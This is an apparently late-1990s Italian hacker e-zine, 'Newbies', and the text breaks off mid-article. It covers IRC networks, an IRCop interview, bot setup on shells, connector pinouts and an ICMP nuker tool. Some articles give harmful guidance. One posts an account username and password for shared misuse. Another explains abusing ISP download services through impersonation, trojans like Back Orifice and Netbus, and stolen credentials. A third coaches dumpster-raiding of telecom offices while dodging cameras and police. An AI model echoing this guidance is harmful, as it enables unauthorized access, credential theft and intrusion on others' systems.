basato sulla coppia X/W. Questi sono due bot, per molto pi complessi della controparte di Dalnet. Infatti sono SEMPRE presenti su tutti i canali della rete, e gestiscono tutte le liste degli op, dei ban e cos via. Su Undernet ci sono due categorie di user: i registrati e i non registrati: i primi a loro volta si differenziano per livello; questo un numero che va da 500 a 1. La registrazione si ottiene relativamente ad un canale, perci posso essere 500 di #amici ma 1 di #italia. I poteri che si hanno dipendono proprio dal livello: infatti quelli con il level alto possono eseguire pi comandi attraverso i bot. Infatti possibile bannare oppare ecc. come su ircnet, ma un ban attraverso X/W sar inpossibile da rimuovere. Se io 500 banno uno che sta simpatico al 100, il 100 dovr arrendersi, visto che appena toglie il ban ci pensa X/W a rimetterlo. Gli utenti non registrati invece non possono fare quasi un cazzo, tranne che poche cose come la mappa dei server e altro. Gli IRCop di Undernet sono molto ma molto pi potenti di quelli di IRCnet: infatti possono fare diverse cose, fra cui togliere X/W da un canale. Perci stateci attenti, possono essere letali. Ahhhhhh finito! Adesso mi vado a smokare una bella Merit, poi gioco un po' a Baldur's Gate, mi sento un po' di musica e tutto questo in barba ai compiti visto che domani ci sta assemblea d'istituto... SpYmAsTeR spymaster99@usa.net ͻ Ŀ INTERVISTA CON UN IRCOP ٺ ͼ E anke stavolta arriva lo sk00p! Il vostro giornalista d'assalto preferito riuscito ad intervistare un IRCop! Inkredibile! Dopo aver sekkato per giorni e giorni un IRCop, ke non mi ha mai risposto, kon l'aiuto di un mio grandissimo amico (ciao Ard!) ke mi ha dato il nick dell'IRCop ke ho intervistato, sono riuscito a kiedergli delle kose ke assillano tutti da tempo immemore! Godetevi l'intervista (putroppo poko lunga, ma devo ankora kiamare in query un altro IRCop :)! Nota: l'IRCop in kuestione mi ha kiesto di poter rimanere anonimo, e perci ho sostituito il suo nick kon tante X...inoltre ho rimaneggiato il log sotto il punto di vista grafiko e ortografiko...e tutto kuesto solo per voi Newbies! -----------------------------------INIZIO------------------------------------- Ciao! Io lavoro per NewBies, una rivista on-line che tratta argomenti che sono sconosciuti ai pi...insomma siamo una specie di guida italiana per i newbies appunto... e mi hanno chiesto di intervistare un IRCop tu sei disponibile? se e' una cosa veloce si' Ok, vedr di moderarmi :) Allora domanda 1 Voi lavorate gratis, o venite pagati? Gli ircop in genere lavorano per passione, non per soldi... 2) Ma per diventare ircop avete passato un esame o cose simili? Voglio dire, esiste un corso, non so? No, non c'e' tirocinio... Chi amministra un server da lo status di ircop a persone di sua fiducia o a colleghi o simili 3) in quali occasioni intervenite con il cambio dei modi dall'esterno, con le k-line, i kill ecc.? modi dall'esterno? beh, io ho un wircsrv e da ircop posso cambiare i modi di un chan dall'esterno! Sul tipo di server usato in ircnet un ircop pu solo killare, mettere K-line se ha accesso ai file di configurazione linkare o slinkare un server... nient'altro...(hai detto niente! ndSpY) e sono tutte operazioni che svolge a sua discrezione e' chiaro che se uno slinka mezza rete non rimane ircop per molto... ok, vista la tua fretta penso che altre domande rilevanti non ci siano, al limite posso ricontattarti se mi viene in mente qualcosa? magari quando hai + tempo, non so... si' certo ok, ti ringrazio moltissimo, mi sei stato di grandissimo aiuto, a risentirci al + presto! :) ciao :) ------------------------------------FINE-------------------------------------- SpYmAsTeR spymaster99@usa.net ͻ Ŀ IRC SECURITY ٺ ͼ Irc, come tutti noi sappiamo, forse una delle pi belle cose che si possono fare su Internet. Per IRC non propriamente il luogo pi sicuro del mondo. Infatti oltre ad essere possibile la visione del vostro IP (fakabili cmq grazie ai sock firewall, grazie alle shell che permettono ircII ecc.), TUTTO ci che dite ai vostri amici di turno su greenZ, hackZ, crackZ ecc. viene loggato sul server irc. Se per un qualunque motivo la polizia dovesse beccarvi che parlate di un verde appena scoperto e vi date le password, potrebbero pure arrestarvi. Dis not g00d. La soluzione a ci l'ha inventata il caro Khaled Mardam Bey (coder del mIRC), infatti ha usato il DCC (Direct Client Connection). Cos gli Ircop non vi loggano e potete dire quello che vi pare... A questo punto i veri newbies si chiederanno: "ma perch se io uso una query non sono in privato con quello l, non mi possono loggare". E invece si, per il motivo che mi appresto a spiegarvi. Una volta connessi al server IRC il vostro client manda una serie di comandi al server: il comando per parlare e' PRIVMSG #canale : In pratica mandate un messaggio a quel canale. E per una query si adopera lo stesso comando, solo che al posto del canale si mette un nick. Questo significa che la finestra di query solo una comodit del vostro client. In realt una query esattamente come un canale. E tutto ci che sendate con PRIVMSG loggato dal server. Una DCC non si appoggia su PRIVMSG, ma solo sul client utilizzato (mIRC, vIRC, pIRCh o quello che diavolo avete). Perci ragazzi, prima di dire cose che non convengono su un chan o in query, pensateci tre volte come minimo. Ok? ;) SpYmAsTeR spymaster99@usa.net ͻ Ŀ <-<-[ NonSoloKick PasswordZ ]->-> ٺ ͼ Veloce veloce da leccarsi le orecchie: in molti mi hanno chiesto delle pass per NonSoloKick, dato che i bastardoni non registrano se non dopo secoli beccatevi sto bell'account. Divertitevi e non usatelo in troppi, senn si insospettiscono... username: city hunter347 password: S2IiHqV0h5 mi raccomando nella pass rispettate le maiuscole e le minuscole altrimenti non funzia... 1-v-n0-n4m3 sPERO x vOI cHE nON pENSIATE cHE sIA uN nICK vERO !!! cOSA nON sI fAREBBE pER mANTENERE l'aNONIMATO !!!!!!! ͻ Ŀ IL PUNTO SU IRC ٺ ͼ Solo 2 righe per riassumere i primi mesi dell'anno su irc : molti take , cambi di gestione di canali e tentativi di take non riusciti . Vicenza dopo un mese in mano ai reflective e' tornata purtroppo ai Bad Karma, unica nota positiva non e' +i ;) #hackers.it e #hacker.it hanno avuto un brutto periodo , e #warezitalia non se la sta certo spassando visti i take di BlackLion e L^Angelo ecc. #calcio e' stato finalmente sostituito e #italia pare sia stao sotto take per un quarto d'ora ... cosa non sicura ... #phreak.it e' da molto tempo opless dopo una breve parentesi di Yakuza e dei suoi 15 bot sulla stessa shell :) #tgm e' stata bombardata da tentativi di take ( soprattutto lamerate ) Infine segnalo irc.azzurra.it #emuita e #gamez.it che io non frequento ma e' un server tranquillo ... Ci si sente ... by TetoFuck ͻ Ŀ GUIDA PRATICA AL SETTAGGIO DI UN BOT ٺ ͼ Come si dice ??? Una BOTta e Via !!!! Ia PartE Ovvero: la guida pratica al settaggio di un bot E cosi' ci ritroviamo una volta ancora su questa e-zine....stavolta vi spieghero' come fare per settare un bot e sopratuttodi cosa avete bisogno.....Per prima cosa vorrei specificare che tutto quello che hoimparato e che scrivero' in questo articu'lo, l'ho appreso da unfantastico Tut passatomi da un amico proprio in IRC di cuipero' malauguratamente non ricordo il nome :(Ho cercato di fondere il mio sapere con il vecchio tut. edi semplificare alcune parti che sembravano troppo pesanti....La spiegazione e' lunga e complessa quindi i Lamer che voglionodemordere lo facciano ora o mai + !!!!Prima cosa l'ispirazione.......bene l'ispirazione quest'oggi mi e' data dalla mia girl in IRCVale_ria che penso sia il sogno di ogni Hacker....... Botting requirement : 1- "aShell" (che non puzzi possibilmente hihihihi) 2- Eggdrop (vi parlero' della versione 1.1.5) Per quanto riguarda la shell ci sono tanti metodi per ottenerla...comprarla ....ottenerla dal provider.....tradarla....oppure naturalmenteHacKarla !!!. Per l'eggdrop invece la cosa e' + semplice perche'lo trovate in rete.... Supponiamo di avere una shell e di esserci scaricati l'eggdrop...cosa fare ora ????Bhe...controlliamo se la shell e' eggdroppabile....basta lanciareil comando "tclsh" nella shelluzza per controllare se sono inseritele librerie TCL....se ci sono comparira' un prompt da cui usciretelanciando un semplice "exit"...se non ci sono invece dovretescaricarvele da questo sito ftp://ftp.scriptics.com/pub/tcl/ e poiUploadarle sulla vostra ashell.Adesso avete le librerie TCL e subito provvederete a uploadarenella vostra "Ashell" l'eggdrop 1.1.5 .Dato che nella stramaggioranza dei casi l'egg e' compressolo dovrete decomprimere ed in seguito compilare :Esempio pratico step by step:Il file si chiama eggdrop1_1_5.tar.gz1-lo decomprimete con il comando "tar -xzvf eggdrop1_1_5.tar.gz"2-con la decompressione avrete creato una dir dal nome eggdrop1_1_5 che provvederete subito a rinominare (non vorrete mica che l'adm.del server in cui avete la shell se ne accorga cosi' facilmente ??) 3-Entrate nella directory "cd nome_nuova_dir"4-Fate partire il comando "./configure" ed "./make eggdrop".Avrete ora compilato l'egg e provvederete tramite il comando "putegg nome_dir" a mettere gli eseguibili in un'altra dir(questo solo per il miglior funzionamento del bot).Non vi resta nient'altro che editare il file di configuarzione(eggdrop.conf) ed in seguito far partire il bot con il comando"eggdrop -m eggdrop.conf" dove -m viene utilizzato solo al primoavvio del bot. Dante Alighieri ۰۰۰۰۰۰۰۰۰۰ ۰۰۰۰۰۰۰۰۰۰۰ ۰۲۰۰۰۰۰۰۰۰ ۰۰۰۰۰۰۰۰۰۰۰۰ ۰۰۰۰۰۰۰۰۰۰۰ ͻ Ŀ LO CHIAMAVANO GUEST-STAR ٺ ͼ Premessuola: chi mi conosce lo sa, oltre che non essere carabbiniere =) non c'ho mai voglia di fare un cazzo, figuriamoci scrivere articoli =) Ma siccome mi hanno inchiodato, del tipo su IRC: fai un articolo x la ezine Newbies ? vabbe' se trovo il tempo vi faccio un articolo [il giorno dopo] allora mi hanno detto che scriverai x Newbies cazz come giran le voci.. =)) Inizio a pensare di essere una specie di guest-star invitata per sponsorizzare la e-zine, tant'e' che mi fanno : pure amme lo han chiesto :) pero ho rifiutato <....> pero se scrive uno come te allora gli scrivo pure io :)) Vabbe' basta aprire parentesi che mi pare di essere Trapattoni, il lettore si domandera' di che cazzo parla sto articolo, e me lo domando anche io =) Siccome pensare costa, sbattersi anche, le calorie servono e del maiale (non pigpen =)) non si butta via mai nulla, facciamo un articolo su... ---------------------------------> FTPBATCH <------------------------------- Ooooooo dira' chi non sa cos'e' Buuuuuu dira' chi sa cos'e' MooooooNeeeeeCistaffe'naBuatt'i'Marmellet direbbe Frengo se fosse tra di noi Allora in Goldoni, l'FTPBATCH e' quel servizio che permette di far scaricare al proprio provider i file che ci interessano, facendoli arrivare in un FTP piu' o meno pubblico dello stesso provider oppure direttamente in Mail. Questo servizio e' molto comodo in quanto se ci interessa un file bastardo porco su un sito .jp che viaggia a 0.001 k/giorno, noi facciamo la richiesta e il nostro caro provider ce lo scarica quando c'ha tempo colla sua banda. Altri nomi per il suddetto servizio sono FTPGet o Procedura Batch di download o procedura automatizzata di tua sorella in croce, c'e' chi lo chiama CARGO chi lo chiama Vaschetta che mi pare quella dove ci caga il cane vabbe' ci siamo capiti su cos'e' no ? La maggior parte dei provider seri ma ormai anche quelli meno seri danno questo servizio oserei dire "a valore aggiunto", da tin a mclink, da flashnet a salcazzonet passando per tutti i vari provider locali e non. The problem is that alcuni provider sono bastarduoli, fanno controlli in modo che il primo idiota che passa di li' non possa utilizzarlo, ma solo i loro amati utenti che hanno sborsato profumate lire per l'abbonamento, e noi come si fa allora ?? Di solito il check e' fatto a 2 livelli, il primo sull'ip da cui e' partita la richiesta, il secondo sulla mail della persona che fa la richiesta, a cui poi arrivera' una mail di conferma che il file e' effettivamente arrivato. Partiamo dall'ultimo, normalmente non e' molto difficile trovare lo username di qualcuno collegato ad un provider, o conoscendo qualcuno che lo usa, o via finger (per questo vi rimando al mio articolo su Bfi #2, evvai con un po' di sana pubblicita' =))) oppure semplicemente facendosi un giro sull'ftp dove arrivano i file richiesti colla procedura batch, dove potete di solito trovare dei file descrittivi con su scritto da dove viene il file e chi lo ha richiesto. L'ideale sarebbe usare l'email di uno che sapete che usa quel provider e che non capisce un cazzo di computer cosi' se gli arriva la mail di conferma che e' arrivato il file manco sa cosa vuol dire. Il problema forse piu' grosso e' quello dell'ip, perche' se ho un bell'ip tipo ppp.newbies.it come potro' mai essere ricosciuto dal provider www.stigrancazzi.it che ha come rete 192.192.66.* ?? NOTA : Il problema dell'ip in alcuni casi insorge solo nel fare la REQ del file, in altri casi senza appartenere al dominio allowed non si puo' manco accedere al ftp contenente i file scaricati via batch, in altri casi ancora se non erro viene richiesto login e password dell'utente, questo varia da provider a provider. Le alternative per ovviare a questo problema a mio avviso sono 2 : 1) utilizzo proxy 2) utilizzo trojan 1) Generalmente molti (quasi tutti) i provider hanno un proxy, per es. proxy.stigrancazzi.it su 80 o 8080, utilizzando questo proxy si appare come appartenenti al suddetto provider e quindi e' possibile fare tutto cio' che si vuole, nel senso di fare richiesta, accedere all'ftp etc... Alcuni provider bastardini xo' settano anche il proxy in modo che non possa essere usato se non si e' sul provider stesso, in modo che il proxy non venga sfruttato da gente estranea, in questo caso non ci passa un cazzo e non ci resta sperare che nel punto 2 2) Come il '97 e' stato l'anno delle Nuke, cosi' nel '98 hanno dominato i Troiani x rete, da BO a Netbus passando per gli altri meno conosciuti; non voglio perdere tempo spiegando come si usano, come si trovano, come si scanna etc.. visto che di troiani se ne e' gia' parlato qui e in altro loco, vediamo solo a cosa ci possono servire: con BO o con Netbus (2.x se non erro) e' possibile attivare un redirect,cioe' si pone in ascolto il pc-vittima su 1 porta voluta e si rigira tutto il traffico verso host:ip che ci interessa. In questo modo potremo raggiungere il www.stigrancazzi.it rimbalzando dal pc-vittima.stigrancazzi.it avendo quindi un ip accettato dal software di ftpbatch con nostra enorme soddisfazione. Vi sono invece altri casi in cui il controllo e' fatto a livello di login e password (e' il caso di McLink se non erro), ovvero il nostro un po' meno amato provider decide assolutamente di fare entrare SOLO i suoi utenti. Beh, ma dico io, chi ci vieta di recuperare login e password del suddetto provider ? Il caro BO e l'amico Netbus (oppure un qualsiasi portscanner) ci potranno dire quanti utenti del suddetto provider hanno avuto il piacere di fare la loro conoscenza, una volta che avete la password (per queste cose vi rimando al mio articolo su BFI4 e a quanto trovate sulla mia home page http://fly.to/cavallo [evvai ancora pubblicita' =)]) usate quelle x loggarvi sul ftp o x fare le richieste. Il controllo IP, controllo mail e controllo L/P possono venire applicati insieme, aumentando cosi' la difficolta' dell'utilizzo delle procedure automatizzate di download, c'e' da dire che se il provider non e' pirla e' difficile fare qualcosa, se non sperare nell'incompetenza degli utenti che lo utilizzano. Io fossi un un provider attiverei check su mail, ip e l/p, senza contare che attiverei il check ip anche sul proxy cosi' da evitare rigiri poco piacevoli; inoltre farei qualche documento per i propri utenti che spiega cosa sono i troiani e come si prendono e ogni tanto farei una scannata sui miei ip sulle porte classiche BO Netbus e affini cosi' da trovare altri eventuali clienti idioti, ma visto che al momento non lavoro per un provider, che dire, cazzi loro che si arrangino =)) NOTA : Non abusate di questa informazione, i provider potrebbero benissimo disattivare questo ottimo servizio e noi non lo vogliamo =) NOTA2 : Questa tecnica mi e' stata rivelata dalla SUN Microsystem in cambio della protezione dei loro sistemi, la rivelo a voi solo perche' alla SUN sono indietro coi pagamenti e io ho le rate del floppy disk da pagare e visto che Nobody88 mi ha promesso 1000 lire x il mio intervento mi vendo al miglior offerente. (Amici del Timone questa e' per voi, coglioni !! =)) (PS Chi non la capisce legga bfi-Natale98 e bfi5, chi non la capisce dopo averli letti non merita il mio rispetto) Direi che e' tutto, Cavallo de Cavallis ----------------------------------------------------------------------------- [ Cavallo de Cavallis appears courtesy of S0ftPr0j3ct '99 ] [ http://fly.to/cavallo <-> cavallo@cryogen.com ] ----------------------------------------------------------------------------- ͻ Ŀ TRASHING.. CHE PASSIONE! Come, quando e perch fare trashing.. ٺ ͼ DISCLA(i)MER Prima di leggere questo articolo, ci tengo a sottolineare che io non mi riterr affatto responsabile per quello che ho scritto. Pertanto questo articolo solo a scopo informativo e se qualche d'uno (soprattutto lamer improvvisatisi phreakers) si fa cogliere con le mani nel sacco (eheheh :-))) sono fatti suoi per cui non interpellate il sottoscritto! ****************************************************************************** Tutto ci che posso dirvi riguardo la stesura di questo articolo che: - ho ascoltato "Adore" degli Smashing Pumpkins (ovviamente su cd masterizzato :-P), "Post Orgasmic Chill" degli Skunk Anansie; - ho bevuto circa un litro di acqua naturale (per chi mi conosce strano, ma vero! =P); - tutto ad un tratto mi venuta in mente una cosa del tipo: <>. Barzelletta: - Pronto, SIP? - NOP!!! :-P ****************************************************************************** A meno di un anno al 2000 la Trashing Italia (ehm, TeLeKkoM Italia) non ha ancora scoperto cosa sono e a cosa servono i distruggi-documenti, cos tutta la documentazione riservata agli addetti ai lavori e contenenti informazioni riguardo gli utenti finiscono dentro quei simpatici sacchi neri della spazzatura che solitamente troviamo davanti alle centrali/sedi Telekkom. Probabilmente un normale passante li lascerebbe l dove sono, ma non sempre cos.. aha ahahah (risatina satanica ]:-)>. "Trashing", che tradotto significa "fare spazzatura" sempre stato una delle tante attivit di un hacker ed ancora un'attivit indispensabile per un serio phone phreaker. Per essere chiari, facendo trashing si cerca di recuperare i sacchi della spazzatura a cui facevo riferimento prima per venire a conoscenza di informazioni tecniche riservate ai soli operatori che vi lavorano all'interno (es. schemi elettrici) e quindi per capire i meccanismi di funzionamento delle cabine telefoniche o delle centrali telefoniche, per trovare info che fanno riferimento al sistema di numerazione dei vari distretti, greenz, ecc. (se c' anche spazzatura dell'ufficio vendite allora troverete anche contratti di allacciamento, ricevute di pagamenti di bollette, ecc.). Purtroppo non sempre si trova quello che ci si aspetterebbe e quindi potrebbe capitarvi tranquillamente di aprire un sacco e trovarci solo mozziconi di sigarette, scatolette di tonno, bottiglie di plastica o addirittura figurine della Barbie (come successo a Lord Destruction un po' di tempo fa :-D). L'importante non arrendersi subito, ma di continuare perch i risultati sono garantiti! ;-) Se nella vostra citt c' la raccolta differenziata della carta e materiale plastico, siete fortunati! Infatti, mentre nei sacchi neri potreste trovare di tutto, in quegli altri sicuramente troverete ci che fa per voi dato che al loro interno vi solo carta (tra l'altro questi sacchi sono solitamente trasparenti). Per evitare di tornare a casa a mani vuote, un consiglio che posso darvi quello di prendere quasi sempre quelli per la raccolta differenziata dei rifiuti cos sarete sicuri di trovare soltanto materiale cartaceo, ricco di preziose informazioni. Ma. reato fare trashing? Da come la penso io no, perch se una persona "ruba" un sacco della spazzatura che sul ciglio della strada non pu essere perseguito per legge dato che un rifiuto di cui il legittimo proprietario se ne liberato. Purtroppo questo non vero, perch una volta abbandonato un sacco della spazzatura sul bordo della strada, diventa di propriet del Comune il quale ha l'incarico di ritirarlo il giorno dopo e di smaltirlo nelle apposite discariche. Comunque penso che il reato sarebbe minimo e senza particolari ripercussioni sulla propria fedina penale (eeeeeee, addirittura!!!!). Per la faccenda si complica un attimino (maledetto Ned Flanders :-D) se siete costretti ad entrare nell'apposita area della centrale o della sede Telekkom in cui viene gettata la spazzatura: okkio a non farvi beccare all'interno e al reato di "scasso" se c' bisogno di forzare serrature (in questo caso attenzione alle impronte digitali.). Ad essere sincero, non da molto che faccio trashing, ma mi permetto lo stesso di darvi qualche consiglio che potrebbe sempre servire: - in base alla posizione del luogo e alla quantit di traffico che vi circola, valutate qual l'ora pi adatta e tranquilla per entrare in azione.; - saggio non fare trashing sempre lo stesso giorno della settimana allo stesso orario; - fate attenzione a possibili telecamere a circuito chiuso che possono esserci l intorno, dato che mi gi capitato ti trovarne qualcuna; - non fate rumore; - se possibile, agite di notte e se quella zona sottoposta a controlli costanti da parte di polizia privata o di stato, portatevi qualcuno con voi che vi faccia da palo; - se per caso qualcuno vi coglie con le mani nel sacco (eheheheh :-)), mantenete la calma..: non c' niente di male se spostate sul marciapiedi un sacco che era in mezzo alla strada ;-); - state attenti infine anche da come vi vestite: importante non dare nell'occhio n destare sospetto e soprattutto cercate di indossare indumenti che non portate solitamente. <> Skappa, skappa! ;-D ma sempre senza dare nell'okkio.. meglio se puoi caricarli in una macchina bella capiente cos rischi di meno: sai. non il massimo farsi notare da un passante alle due del mattino con un sacco della spazzatura imbraccio!!! :-P Una volta che siete al sicuro con i vostri sacchi, apriteli con calma e soddisfazione per quello che avete appena fatto. Iniziate a dividere tutto ci che pu sembrarvi utile o interessante e per i propri studi e per la comunit underground (ricordate che l'unione fa la forza, per cui scannerizzate e diffondete tutto come meglio credete); gettate tutto ci che non serve in un nuovo sacco, chiudetelo bene ed abbandonatelo (senza lasciarlo in mezzo alla strada :-)) in un luogo lontano da casa vostra e da dove avete prelevato il materiale in origine. ^.^ HarLoK ^.^ Gi che ci sono, colgo l'occasione e ne approfitto per salutare - senza nessun particolare ordine alfabetico o d'importanza e sperando di non dimenticare nessuno -: Alphard, 3p41R0x, Blinkinux, Nobody88, CDP e tutta la Spaghetti Phreak Crew, Lord of Destruction e tutto il D.D.T.ita, |O2|, DanteAlig, ulntwh99, eXceptiON HandlER, Black Sheep, vecna, |Exe|, DeViLNeT, Linbus, Terror Keeper, spinDOC, /sPIRIT/ e tutto il SoftPj, areac, McFly, i miei sballatissimi compagni di classe, la crew degli Spippolatori, la Terror Groove Headquarters Crew e tutto lo stuff Newbies. ͻ Ŀ PIEDINI CHE CASINO! ٺ ͼ Bene, sperando che davvero vi faccia capire come sono metalmente conciato e che quindi mi fornisca una valida attenuante a cio' che scrivero' citero' (in emulazione dichiarata del team di BFI) cio' che ho mangiato e cio' che ho ascoltato scrivendo questo brevissimo pezzo... Per la parte cibo solo 5 tortine alla mela del Mulino bianco. Per la parte audio mi hanno tenuto compagnia: Rotting Christ : A Dead Poem Sepulchral Feast : A tribute to Sepultura Ok, adesso si parte! Tutto e' iniziato quando dovevo collegare una porta ps/2 al mio pc ma non avevo uno straccio di info su che cazzo di piedini fossero i +5Volts , il data e cosi' via... Rendendomi conto del casino che ho fatto per ottenere le piedinatura corretta, vi riporto la piedinatura delle piu' normali porte del vostro pc, casomai ne aveste la necessita'.... -+-Porta seriale maschio da 9 poli visto da davanti |1| DCD (data carrier detect) |2| RX (ricezione dati) 1 2 3 4 5 |3| TX (trasmissione dati) o o o o o |4| DTR (data terminal ready) o o o o |5| GND (massa) 9 8 7 6 |6| DSR (data set ready) |7| RTS (request to send) |8| CTS (clear to send) |9| RI (ring indicator) -+-Porta seriale maschio 25 poli visto da davanti 1|GND|(massa) 2|TX |(trasmissione dati) 1 13 3|RX |(ricezione dati) | | 4|RTS|(request to send) o o o o o o o o o o o o o 5|CTS|(clear to send) o o o o o o o o o o o o 6|DSR|(data set ready) | | 7|GND|(massa) 14 25 8|DCD|(data carrier detect) 20|DTR|(data terminal ready) 22|RI |(ring indicator) I piedini non citati sono nulli. -+-Porta parallela femmina 25 poli vista da davanti 13 1 | | o o o o o o o o o o o o o o o o o o o o o o o o o | | 25 14 1|strobe (convalida dati emessi) 2|d0 (data bit zero) 3|d1 (data bit 1) 4|d2 (data bit 2) 5|d3 (data bit 3) 6|d4 (data bit 4) 7|d5 (data bit 5) 8|d6 (data bit 6) 9|d7 (data bit 7) 10|acknowledge (abilitazione emissione nuovi dati) 11|busy (stampante occupata) 12|paper end (fine carta) 13|select (selezione) 14|auto line feed (avanzamento automatico di una line 15|error (errore generico) 16|reset (inzializzazione) 17|select in (valido solo se la porta e' epp) 18|gnd (massa) 19|gnd (massa) 20|gnd (massa) 21|gnd (massa) 22|gnd (massa) 23|gnd (massa) 24|gnd (massa) 25|gnd (massa) Se usate cavi di lunghezza superiore ai 3 metri per stampanti laser i cavi non possono essere i normali paralleli ma devono essere siglati IEEE1284 e costano 8 oppure 9 volte tanto dei cavi normali e questa differenza e' dovuta alla loro struttura interna (intereccio dei cavi fra di loro) ed alla loro schermatura (cavi della calza di dimensioni maggiori e molto fitti) ma danno il miglior risultato possibile. -+- Porta USB femmina a 4 poli vista da davanti _ _ _ _ | || || || | = = = = | | | | 1 2 3 4 1| gnd (massa) 2| data+ (segnale in uscita) 3| data- (segnale in ingresso) 4| +5 volt (alimentazione massima di 5 ampere) Ricordate che la lunghezza massima dei cavi e' pari a 3 metri per ottenere una velocita' di 1.5 megabit/secondo e non richiedono cavi schermati, se invece si vuole usare la velocita' di 12 megabit/secondo bisogna usare per forza cavi schermati ma la distanza aumenta fino a 5 metri. -+- Porta vga maschio 15 poli visto da davanti 1 5 \ / o o o o o 6--o o o o o--10 o o o o o / \ 11 15 pin| funzione in modo vga/svga | funzione in modo vesa pnp | | 1 |uscita segnale rosso |uscita segnale rosso 2 |uscita segnale verde |uscita segnale verde 3 |uscita segnale blu |uscita segnale blu 4 |non usato |non usato 5 |senza connessione |massa 6 |massa segnale |massa segnale 7 |massa segnale |massa segnale 8 |massa segnale |massa segnale 9 |senza connessione |non usato 10 |massa sincronia |massa sincronia 11 |monitor id 0 |non usato 12 |senza connessione o id1 |segnale bus ddc (sda) 13 |sincronia orizz. ttl |sincronia orizz. o composito ttl 14 |sincronia vert. ttl |sincronia vert. ttl 15 |monitor id2 |segnale bus ddc (scl) Il segnale ddc non e' altro che l'acronimo di display data channel ovvero il protocollo che consente a windows di riconoscere il tipo di monitor per adattare la frequenza orizzontale e verticale in funzione della skeda video. -+- Connettore hard disk ide -A 40 poli visto da davanti (hd da 3 1/2) 20 --o o o o o o o o o o o o o o o o o o o o-- 1 21 --o o o o o o o o o o o o o o o o o o o o-- 40 -a 44 poli visto da davanti (hd da 2 1/2) 22 --o o o o o o o o o o o o o o o o o o o o o o-- 1 23 --o o o o o o o o o o o o o o o o o o o o o o-- 44 Adesso leggetevi la funzione del pin che poi vi dico perche' ho accomunato i connettori per hd da computer normale e da computer portatile... pin| hd da 3 1/2 | hd da 2 1/2 | | | | 1 |reset |reset | 2 |massa |massa | 3 |data bit 7 |data bit 7 | 4 |data bit 8 |data bit 8 | 5 |data bit 6 |data bit 6 | 6 |data bit 9 |data bit 9 | 7 |data bit 5 |data bit 5 | 8 |data bit 10 |data bit 10 | 9 |data bit 4 |data bit 4 | 10 |data bit 11 |data bit 11 | 11 |data bit 3 |data bit 3 | 12 |data bit 12 |data bit 12 | 13 |data bit 2 |data bit 2 | 14 |data bit 13 |data bit 13 | 15 |data bit 1 |data bit 1 | 16 |data bit 14 |data bit 14 | 17 |data bit 0 |data bit 0 | 18 |data bit 15 |data bit 15 | 19 |massa |massa | 20 |chiave polarizzazione|chiave polarizzazione| 21 |dma request |dma request | 22 |massa |massa | 23 |data strobe scrittura|data strobe scrittura| 24 |massa |massa | 25 |data strobe lettura |data strobe lettura | 26 |massa |massa | 27 |i/o ready |i/o ready | 28 |cable select |cable select | 29 |dma acknowledge |dma acknowledge | 30 |massa |massa | 31 |interrupt request |interrupt request | 32 |chip select |chip select | 33 |address1 |address1 | 34 |pdiag (non usato) |pdiag (non usato) | 35 |address 0 |address 0 | 36 |address 2 |address 2 | 37 |ide_cs0 |ide_cs0 | 38 |ide_cs1 |ide_cs1 | 39 |led attivita' |led attivita' | 40 |massa |massa | 41 |assente |+5volts circuito | 42 |assente |+5volts motore | 43 |assente |massa generale | 44 |assente |tipo * | Magia! Gli schemi coincidono se non fosse che l'hd da 2 1/2 ha gia' integrato nel suo connettore la tensione di alimentazione! Con questo schema e' quindi piuttosto facile creare un cavetto che vi permettera' sia di usare un hd da 3 1/2 sul portatile (dato che gli hd da 2 1/2 sono molto piu' cari , perche' no?) sia di usare un hd di un portatile di recupero sul vostro pc. All'ultima fiera dell'elettronica che c'era dalle mia parti i connettori da 3 1/2 verso 2 1/2 costavano circa 30.000 lirette . stessa cosa per l'inverso. Tenete presente che il cavo non deve obbligatoriamente superare il mezzo metro di lunghezza, pena perdita di dati nella trasmissione. Ah, il simbolo * si riferisce al fatto che se il contatto 44 e' messo a massa l'hd sara' visto solo come ATA. Invece i contatti 37 e 38 sono per l'indirizzo di i/o da assegnare ovvero 37 | seleziona 1f0-1f7 38 | seleziona 3f6-3f7 -+- Porta midi 15 poli femmina vista da davanti 8-- o o o o o o o o --1 15-- o o o o o o o -- 9 Azzo, pure la porta midi/joistick, ma sto facendo proprio una figata! Vabbe', andiamo avanti..... 1 |+5 volts 2 |pulsante 1 3 |joi 1 asse x 4 |massa 5 |massa 6 |joi 2 asse y 7 |pulsante 2 8 |+5 volts 9 |+5 volts 10|pulsante 4 11|joi 2 asse x 12|midi tx 13|joi 2 asse y 14|pulsante 3 15|midi rx Alcune cosette da dire in merito : -gli assi x ed y dei joi sono segnali analogici -i pulsanti sono invece segnali digitali Quindi non fate come quelli che non hanno i joi collegabili in cascata che si comprano lo scatolotto per duplicare le prese joi ed avere la porta midi distinta... Con un pochino di ragionamento vi potete fare da voi il circuitino ;-] -+- Porta ps/2 femmina vista da davanti (e meno male che volevo parlare solo di questa...) 3 4 o o 2- o |--| o -5 1- o |__| o -6 1 | clock 2 | massa 3 | data 4 | non usato 5 | +5volts 6 | non usato Ok, le mie fatiche finiscono qui, quando ne avro' ancora voglia vi faro' le piedinature della famiglia scsi con ultre wide e cazzi varii, ma adesso sono davvero stanco,il lavoro mi uccide e le nottate in bianco (in entrambi i sensi) anke... Logico che se bruciate l'hd,la piastra il mouse o vostra nonna io non ne sono assolutamente responsabile! Ok, adesso in branda, volevo solo dirvi che al consumo dell'articolo va aggiunta una bottiglia di acqua gasata e un bel pakketto di rits da 250 grammi! Ciao, RigoR MorteM , SPP 98-99 rigormortem@spippolatori.com per Newbies Staff ͻ Ŀ AGGRESSOR ٺ ͼ <-<-[ Aggressor, come usarlo in maniera profikua ]->-> In questo doc far una specie di manuale d'uso all'Exploit Generator, volgarmente conosciuto come Aggressor. Inanzitutto l'EG altro non che un nuke. Fissatevi bene in testa questo. Per quanto si dica "ahhh serve a testare le reti informatiche" le sue funzionalit sono quelle, appunto, di un nuker, sebbene molto potente. <-<-[ Advanced Mode ]->-> L'Advanced Mode altro non che una modalit di creazione dei propri pacchetti ICMP. Questi pacchi ICMP possono essere creati sporchi o puri (li ho kiamati io cos, perch kuello sporko kuello da nuke, kuello puro non fa un kazzo). Il pacchetto sporco viene creato smacchinando un po' sulle dimensioni e sul ICMP Header. L'ICMP header molto importante. Infatti possibile mandare il famoso Protocol Unreachable, ma per alcuni Linux basta mandare un ICMP con header ECHO_REPLY per crashare tutto. Purtroppo non ricordo dove ho letto sto exploit, ma sicuramente non andr pi...(mmm non sono sicuro di quello che ho detto, percio' prendetelo con le pinze...) <-<-[ Simple Mode ]->-> Burn babe burn! E al 